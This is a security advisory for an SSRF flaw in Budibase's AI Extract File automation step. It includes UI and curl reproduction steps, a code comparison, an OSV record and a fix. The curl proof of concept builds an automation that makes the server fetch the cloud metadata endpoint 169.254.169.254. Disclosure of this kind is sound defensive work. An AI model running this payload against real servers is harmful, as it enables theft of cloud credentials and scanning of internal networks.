Via Budibase UI
- Login as builder user
- Create or open any app
- Go to Automations > New Automation
- Add trigger: App Action
- Add step: AI > Extract File Data
- Set Source:
URL - Set File URL:
http://169.254.169.254/latest/meta-data/(or any internal IP) - Click Run Test — the server makes the request without IP blacklist validation
Via curl (API)
# 1. Login and get session cookie
curl -s -c /tmp/bb.txt \
"http://BUDIBASE_HOST/api/global/auth/default/login" \
-X POST -H "Content-Type: application/json" \
-d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}'
# 2. Create automation with SSRF payload (replace YOUR_APP_ID)
curl -s -b /tmp/bb.txt \
"http://BUDIBASE_HOST/api/automations" \
-X POST -H "Content-Type: application/json" \
-H "x-budibase-app-id: YOUR_APP_ID" \
-d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}'
Code Review Verification
Compare the vulnerable function with the safe pattern used everywhere else:
VULNERABLE (no blacklist):
packages/server/src/automations/steps/ai/extract.ts:116
const response = await fetch(fileUrl)
SAFE (with blacklist) - every other step:
packages/server/src/automations/steps/slack.ts:19
response = await fetchWithBlacklist(url, {...})
packages/server/src/automations/steps/discord.ts:28
response = await fetchWithBlacklist(url, {...})
Expected vs Actual Behavior
Expected: processUrlFile() should reject internal/private IPs via fetchWithBlacklist()
Actual: fetch(fileUrl) is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.
Impact
An authenticated user with builder permissions can:
- Access cloud metadata endpoints (AWS IAM credentials, GCP service tokens, Azure IMDS)
- Scan internal network services and ports
- Access internal APIs not intended for external access
- Exfiltrate data from internal services via the automation response
In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.
Proposed Fix
Replace fetch(fileUrl) with fetchWithBlacklist(fileUrl), consistent with all other automation steps:
import { fetchWithBlacklist } from "../utils"
async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
const response = await fetchWithBlacklist(fileUrl) // Use blacklist
// ...
const fallbackResponse = await fetchWithBlacklist(fileUrl) // Use blacklist
}
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.34.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45548"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-15T17:47:10Z",
"nvd_published_at": "2026-05-27T18:16:25Z",
"severity": "HIGH"
},
"details": "## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `processUrlFile` function in `packages/server/src/automations/steps/ai/extract.ts` uses `fetch(fileUrl)` directly **without the IP blacklist validation** that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.\n\n### Vulnerable Code\n\n**`packages/server/src/automations/steps/ai/extract.ts` (lines 116, 139)**:\n\n```typescript\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n const response = await fetch(fileUrl) // NO blacklist check!\n // ...\n const fallbackResponse = await fetch(fileUrl) // Also NO blacklist check!\n}\n```\n\n### Contrast with All Other Automation Steps (Same Codebase)\n\nEvery other automation step that makes outbound HTTP requests properly uses `fetchWithBlacklist`:\n\n- `steps/slack.ts:19`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/discord.ts:28`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/zapier.ts:33`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/n8n.ts:53`: `response = await fetchWithBlacklist(url, request)`\n- `steps/outgoingWebhook.ts`: `response = await fetchWithBlacklist(url, {...})`\n- `steps/make.ts`: `response = await fetchWithBlacklist(url, {...})`\n\nThe `fetchWithBlacklist` function (`steps/utils.ts:100`) validates URLs against the IP blacklist which blocks:\n- `127.0.0.0/8` (loopback)\n- `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC1918 private)\n- `169.254.0.0/16` (link-local / cloud metadata)\n- IPv6 private addresses\n\nThe AI Extract File step bypasses all of these protections.\n\n## Steps to Reproduce\n\n### Via Budibase UI\n\n1. Login as builder user\n2. Create or open any app\n3. Go to **Automations** \u003e **New Automation**\n4. Add trigger: **App Action**\n5. Add step: **AI \u003e Extract File Data**\n6. Set Source: `URL`\n7. Set File URL: `http://169.254.169.254/latest/meta-data/` (or any internal IP)\n8. Click **Run Test** \u2014 the server makes the request without IP blacklist validation\n\n### Via curl (API)\n\n```bash\n# 1. Login and get session cookie\ncurl -s -c /tmp/bb.txt \\\n \"http://BUDIBASE_HOST/api/global/auth/default/login\" \\\n -X POST -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"YOUR_EMAIL\",\"password\":\"YOUR_PASSWORD\"}\u0027\n\n# 2. Create automation with SSRF payload (replace YOUR_APP_ID)\ncurl -s -b /tmp/bb.txt \\\n \"http://BUDIBASE_HOST/api/automations\" \\\n -X POST -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: YOUR_APP_ID\" \\\n -d \u0027{\"name\":\"SSRF PoC\",\"definition\":{\"trigger\":{\"stepId\":\"APP\",\"event\":\"row:save\"},\"steps\":[{\"stepId\":\"AI_EXTRACT\",\"inputs\":{\"source\":\"URL\",\"fileUrl\":\"http://169.254.169.254/latest/meta-data/\"}}]}}\u0027\n```\n\n### Code Review Verification\n\nCompare the vulnerable function with the safe pattern used everywhere else:\n\n```\nVULNERABLE (no blacklist):\n packages/server/src/automations/steps/ai/extract.ts:116\n const response = await fetch(fileUrl)\n\nSAFE (with blacklist) - every other step:\n packages/server/src/automations/steps/slack.ts:19\n response = await fetchWithBlacklist(url, {...})\n packages/server/src/automations/steps/discord.ts:28\n response = await fetchWithBlacklist(url, {...})\n```\n\n### Expected vs Actual Behavior\n\n**Expected**: `processUrlFile()` should reject internal/private IPs via `fetchWithBlacklist()`\n**Actual**: `fetch(fileUrl)` is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.\n\n## Impact\n\nAn authenticated user with builder permissions can:\n\n- **Access cloud metadata endpoints** (AWS IAM credentials, GCP service tokens, Azure IMDS)\n- **Scan internal network** services and ports\n- **Access internal APIs** not intended for external access\n- **Exfiltrate data** from internal services via the automation response\n\nIn Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.\n\n## Proposed Fix\n\nReplace `fetch(fileUrl)` with `fetchWithBlacklist(fileUrl)`, consistent with all other automation steps:\n\n```typescript\nimport { fetchWithBlacklist } from \"../utils\"\n\nasync function processUrlFile(fileUrl: string, ...): Promise\u003cExtractInput\u003e {\n const response = await fetchWithBlacklist(fileUrl) // Use blacklist\n // ...\n const fallbackResponse = await fetchWithBlacklist(fileUrl) // Use blacklist\n}\n```",
"id": "GHSA-rpj4-7x2v-wjrf",
"modified": "2026-06-08T23:50:33Z",
"published": "2026-05-15T17:47:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-rpj4-7x2v-wjrf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45548"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.38.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.